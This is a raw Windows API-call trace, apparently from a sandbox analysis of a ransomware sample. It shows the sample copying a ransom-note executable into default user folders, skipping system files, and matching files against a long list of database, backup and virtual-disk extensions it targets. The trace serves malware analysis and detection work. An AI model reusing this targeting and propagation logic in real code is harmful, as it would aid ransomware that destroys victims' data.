	[0047.336] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0047.336] GetLastError () returned 0x0
	[0047.336] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5cafb8
	[0047.337] ReadFile (in: hFile=0x14c, lpBuffer=0x5cafb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5cafb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0047.337] CloseHandle (hObject=0x14c) returned 1
	[0047.338] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cafb8 | out: hHeap=0x580000) returned 1
	[0047.338] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.338] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Templates\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2de1ec50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2de1ec50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0xffffffff
	[0047.338] GetLastError () returned 0x5
	[0047.338] wsprintfA (in: param_1=0x119f5f0, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\Default\\Templates\\* FindFirstFile error 5\r\n") returned 60
	[0047.338] lstrlenA (lpString="[ERROR] C:\\Users\\Default\\Templates\\* FindFirstFile error 5\r\n") returned 60
	[0047.338] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0047.338] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x14c2
	[0047.338] WriteFile (in: hFile=0x14c, lpBuffer=0x119f5f0*, nNumberOfBytesToWrite=0x3c, lpNumberOfBytesWritten=0x119e2bc, lpOverlapped=0x0 | out: lpBuffer=0x119f5f0*, lpNumberOfBytesWritten=0x119e2bc*=0x3c, lpOverlapped=0x0) returned 1
	[0047.338] CloseHandle (hObject=0x14c) returned 1
	[0047.338] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fe10
	[0047.338] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\Start Menu", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\Start Menu") returned="C:\\Users\\Default\\Start Menu"
	[0047.338] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ca290 | out: hHeap=0x580000) returned 1
	[0047.338] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe08 | out: hHeap=0x580000) returned 1
	[0047.338] lstrlenW (lpString="C:\\Users\\Default\\Start Menu") returned 27
	[0047.338] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\Start Menu" | out: lpString1="C:\\Users\\Default\\Start Menu") returned="C:\\Users\\Default\\Start Menu"
	[0047.338] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.339] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Start Menu\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\start menu\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0047.340] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0047.340] GetLastError () returned 0x0
	[0047.340] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5cafb8
	[0047.341] ReadFile (in: hFile=0x14c, lpBuffer=0x5cafb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5cafb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0047.341] CloseHandle (hObject=0x14c) returned 1
	[0047.341] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cafb8 | out: hHeap=0x580000) returned 1
	[0047.341] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.341] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Start Menu\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2de1ec50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2de1ec50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0xffffffff
	[0047.341] GetLastError () returned 0x5
	[0047.341] wsprintfA (in: param_1=0x119f5f0, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\Default\\Start Menu\\* FindFirstFile error 5\r\n") returned 61
	[0047.341] lstrlenA (lpString="[ERROR] C:\\Users\\Default\\Start Menu\\* FindFirstFile error 5\r\n") returned 61
	[0047.341] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0047.342] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x14fe
	[0047.342] WriteFile (in: hFile=0x14c, lpBuffer=0x119f5f0*, nNumberOfBytesToWrite=0x3d, lpNumberOfBytesWritten=0x119e2bc, lpOverlapped=0x0 | out: lpBuffer=0x119f5f0*, lpNumberOfBytesWritten=0x119e2bc*=0x3d, lpOverlapped=0x0) returned 1
	[0047.342] CloseHandle (hObject=0x14c) returned 1
	[0047.342] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fdf0
	[0047.342] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\SendTo", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\SendTo") returned="C:\\Users\\Default\\SendTo"
	[0047.342] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7e60 | out: hHeap=0x580000) returned 1
	[0047.342] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fde8 | out: hHeap=0x580000) returned 1
	[0047.342] lstrlenW (lpString="C:\\Users\\Default\\SendTo") returned 23
	[0047.342] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\SendTo" | out: lpString1="C:\\Users\\Default\\SendTo") returned="C:\\Users\\Default\\SendTo"
	[0047.342] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.342] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\SendTo\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\sendto\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0047.343] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0047.344] GetLastError () returned 0x0
	[0047.344] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5cafb8
	[0047.345] ReadFile (in: hFile=0x14c, lpBuffer=0x5cafb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5cafb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0047.345] CloseHandle (hObject=0x14c) returned 1
	[0047.345] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cafb8 | out: hHeap=0x580000) returned 1
	[0047.345] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.345] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\SendTo\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2de1ec50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2de1ec50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0xffffffff
	[0047.345] GetLastError () returned 0x5
	[0047.345] wsprintfA (in: param_1=0x119f5f0, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\Default\\SendTo\\* FindFirstFile error 5\r\n") returned 57
	[0047.345] lstrlenA (lpString="[ERROR] C:\\Users\\Default\\SendTo\\* FindFirstFile error 5\r\n") returned 57
	[0047.345] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0047.345] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x153b
	[0047.345] WriteFile (in: hFile=0x14c, lpBuffer=0x119f5f0*, nNumberOfBytesToWrite=0x39, lpNumberOfBytesWritten=0x119e2bc, lpOverlapped=0x0 | out: lpBuffer=0x119f5f0*, lpNumberOfBytesWritten=0x119e2bc*=0x39, lpOverlapped=0x0) returned 1
	[0047.346] CloseHandle (hObject=0x14c) returned 1
	[0047.346] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fdd0
	[0047.346] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\Searches", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\Searches") returned="C:\\Users\\Default\\Searches"
	[0047.346] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ca050 | out: hHeap=0x580000) returned 1
	[0047.346] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fdc8 | out: hHeap=0x580000) returned 1
	[0047.346] lstrlenW (lpString="C:\\Users\\Default\\Searches") returned 25
	[0047.346] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\Searches" | out: lpString1="C:\\Users\\Default\\Searches") returned="C:\\Users\\Default\\Searches"
	[0047.346] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.346] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Searches\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\searches\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0047.347] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0047.347] GetLastError () returned 0x0
	[0047.347] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5cafb8
	[0047.348] ReadFile (in: hFile=0x14c, lpBuffer=0x5cafb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5cafb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0047.349] CloseHandle (hObject=0x14c) returned 1
	[0047.349] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cafb8 | out: hHeap=0x580000) returned 1
	[0047.349] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.349] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Searches\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2df758b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2df758b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0047.349] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.349] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.349] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0047.349] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2df758b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2df758b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0047.349] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.349] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0047.349] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0047.349] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0047.349] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88b51cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0047.349] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.349] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0047.349] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0047.349] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0047.349] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0047.349] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0047.349] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0047.349] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0047.349] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0047.349] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0047.349] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0047.349] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0047.350] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0047.350] lstrlenW (lpString="desktop.ini") returned 11
	[0047.350] lstrlenW (lpString="C:\\Users\\Default\\Searches\\*") returned 27
	[0047.350] lstrcpyW (in: lpString1=0x119e63c, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0047.350] lstrlenW (lpString="desktop.ini") returned 11
	[0047.350] lstrlenW (lpString="Apollon865") returned 10
	[0047.350] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0047.350] lstrlenW (lpString=".dll") returned 4
	[0047.350] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0047.350] lstrlenW (lpString=".lnk") returned 4
	[0047.350] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0047.350] lstrlenW (lpString=".ini") returned 4
	[0047.350] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0047.350] lstrlenW (lpString=".sys") returned 4
	[0047.350] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0047.350] lstrlenW (lpString="desktop.ini") returned 11
	[0047.350] lstrlenW (lpString="bak") returned 3
	[0047.350] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0047.350] lstrlenW (lpString="ba_") returned 3
	[0047.350] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0047.350] lstrlenW (lpString="dbb") returned 3
	[0047.350] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0047.350] lstrlenW (lpString="vmdk") returned 4
	[0047.350] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0047.350] lstrlenW (lpString="rar") returned 3
	[0047.350] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0047.350] lstrlenW (lpString="zip") returned 3
	[0047.350] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0047.350] lstrlenW (lpString="tgz") returned 3
	[0047.350] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0047.350] lstrlenW (lpString="vbox") returned 4
	[0047.350] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0047.350] lstrlenW (lpString="vdi") returned 3
	[0047.351] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0047.351] lstrlenW (lpString="vhd") returned 3
	[0047.351] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0047.351] lstrlenW (lpString="vhdx") returned 4
	[0047.351] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0047.351] lstrlenW (lpString="avhd") returned 4
	[0047.351] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0047.351] lstrlenW (lpString="db") returned 2
	[0047.351] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0047.351] lstrlenW (lpString="db2") returned 3
	[0047.351] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0047.351] lstrlenW (lpString="db3") returned 3
	[0047.351] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0047.351] lstrlenW (lpString="dbf") returned 3
	[0047.351] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0047.351] lstrlenW (lpString="mdf") returned 3
	[0047.351] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0047.351] lstrlenW (lpString="mdb") returned 3
	[0047.351] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0047.351] lstrlenW (lpString="sql") returned 3
	[0047.351] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0047.351] lstrlenW (lpString="sqlite") returned 6
	[0047.351] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0047.351] lstrlenW (lpString="sqlite3") returned 7
	[0047.351] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0047.351] lstrlenW (lpString="sqlitedb") returned 8
	[0047.351] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0047.351] lstrlenW (lpString="xml") returned 3
	[0047.351] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0047.351] lstrlenW (lpString="$er") returned 3
	[0047.351] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0047.351] lstrlenW (lpString="4dd") returned 3
	[0047.351] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0047.351] lstrlenW (lpString="4dl") returned 3
	[0047.351] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0047.352] lstrlenW (lpString="^^^") returned 3
	[0047.352] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0047.352] lstrlenW (lpString="abs") returned 3
	[0047.352] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0047.352] lstrlenW (lpString="abx") returned 3
	[0047.352] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0047.352] lstrlenW (lpString="accdb") returned 5
	[0047.352] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0047.352] lstrlenW (lpString="accdc") returned 5
	[0047.352] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0047.352] lstrlenW (lpString="accde") returned 5
	[0047.352] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0047.352] lstrlenW (lpString="accdr") returned 5
	[0047.352] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0047.352] lstrlenW (lpString="accdt") returned 5
	[0047.352] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0047.352] lstrlenW (lpString="accdw") returned 5
	[0047.352] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0047.352] lstrlenW (lpString="accft") returned 5
	[0047.352] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0047.352] lstrlenW (lpString="adb") returned 3
	[0047.352] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0047.352] lstrlenW (lpString="adb") returned 3
	[0047.352] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0047.352] lstrlenW (lpString="ade") returned 3
	[0047.352] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0047.352] lstrlenW (lpString="adf") returned 3
	[0047.352] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0047.352] lstrlenW (lpString="adn") returned 3
	[0047.352] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0047.352] lstrlenW (lpString="adp") returned 3
	[0047.352] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0047.352] lstrlenW (lpString="alf") returned 3
	[0047.352] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0047.353] lstrlenW (lpString="ask") returned 3
	[0047.353] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0047.353] lstrlenW (lpString="btr") returned 3
	[0047.353] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0047.353] lstrlenW (lpString="cat") returned 3
	[0047.353] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0047.353] lstrlenW (lpString="cdb") returned 3
	[0047.353] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0047.353] lstrlenW (lpString="ckp") returned 3
	[0047.353] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0047.353] lstrlenW (lpString="cma") returned 3
	[0047.353] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0047.353] lstrlenW (lpString="cpd") returned 3
	[0047.353] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0047.353] lstrlenW (lpString="dacpac") returned 6
	[0047.353] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0047.353] lstrlenW (lpString="dad") returned 3
	[0047.353] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0047.353] lstrlenW (lpString="dadiagrams") returned 10
	[0047.353] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0047.353] lstrlenW (lpString="daschema") returned 8
	[0047.353] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0047.353] lstrlenW (lpString="db-journal") returned 10
	[0047.353] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0047.353] lstrlenW (lpString="db-shm") returned 6
	[0047.353] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0047.353] lstrlenW (lpString="db-wal") returned 6
	[0047.353] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0047.353] lstrlenW (lpString="dbc") returned 3
	[0047.353] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0047.353] lstrlenW (lpString="dbs") returned 3
	[0047.353] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0047.353] lstrlenW (lpString="dbt") returned 3
	[0047.354] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0047.354] lstrlenW (lpString="dbv") returned 3
	[0047.354] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0047.354] lstrlenW (lpString="dbx") returned 3
	[0047.354] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0047.354] lstrlenW (lpString="dcb") returned 3
	[0047.354] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0047.354] lstrlenW (lpString="dct") returned 3
	[0047.354] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0047.354] lstrlenW (lpString="dcx") returned 3
	[0047.354] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0047.354] lstrlenW (lpString="ddl") returned 3
	[0047.354] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0047.354] lstrlenW (lpString="dlis") returned 4
	[0047.354] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0047.354] lstrlenW (lpString="dp1") returned 3
	[0047.354] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0047.354] lstrlenW (lpString="dqy") returned 3
	[0047.354] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0047.354] lstrlenW (lpString="dsk") returned 3
	[0047.354] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0047.354] lstrlenW (lpString="dsn") returned 3
	[0047.354] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0047.354] lstrlenW (lpString="dtsx") returned 4
	[0047.354] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0047.354] lstrlenW (lpString="dxl") returned 3
	[0047.354] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0047.354] lstrlenW (lpString="eco") returned 3
	[0047.354] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0047.354] lstrlenW (lpString="ecx") returned 3
	[0047.354] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0047.354] lstrlenW (lpString="edb") returned 3
	[0047.354] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0047.354] lstrlenW (lpString="epim") returned 4
	[0047.355] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0047.355] lstrlenW (lpString="fcd") returned 3
	[0047.355] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0047.355] lstrlenW (lpString="fdb") returned 3
	[0047.355] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0047.355] lstrlenW (lpString="fic") returned 3
	[0047.355] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
